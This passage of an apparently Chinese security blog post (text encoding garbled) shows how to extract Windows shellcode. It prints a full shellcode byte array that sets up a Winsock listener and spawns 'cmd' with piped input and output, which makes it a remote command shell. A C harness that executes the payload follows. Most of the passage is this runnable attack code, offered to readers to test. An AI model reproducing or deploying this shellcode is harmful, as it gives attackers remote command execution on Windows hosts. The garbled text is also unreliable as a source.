????fprintf(fp_uncode,?"%%u%02x%02x",?newBuffer[x?+?1],?newBuffer[x]);
????}
????_fcloseall();
????*/
????system("pause");
????return?0;
}
運(yùn)行后,則可自動(dòng)提取出特征碼,如下圖所示;

至此請(qǐng)讀者自行將上述ShellCode
代碼替換之如下測(cè)試框架中測(cè)試;
unsigned?char?ShellCode[]?=?
"\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76"
"\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45"
"\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2"
"\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8"
"\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89"
"\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c"
"\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2"
"\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0"
"\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d"
"\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56"
"\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55"
"\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8"
"\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47"
"\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51"
"\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57"
"\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57"
"\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9"
"\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44"
"\xff\x55\x10\xeb\xa4";
int?main(int?argc,?char*?argv[])
{
????LoadLibrary("kernel32.dll");
????LoadLibrary("ws2_32.dll");
????__asm
????{
????????lea?eax,?ShellCode
????????call?eax
????}
????system("pause");
????return?0;
}
當(dāng)讀者運(yùn)行該程序時(shí),則會(huì)彈出服務(wù)端請(qǐng)求網(wǎng)絡(luò)創(chuàng)建功能,此時(shí)我們的ShellCode
就算成功提取出來了,輸出效果圖如下所示;

本文作者: 王瑞 本文鏈接: https://www.lyshark.com/post/d86cdde2.html 版權(quán)聲明: 本博客所有文章除特別聲明外,均采用 BY-NC-SA 許可協(xié)議。轉(zhuǎn)載請(qǐng)注明出處!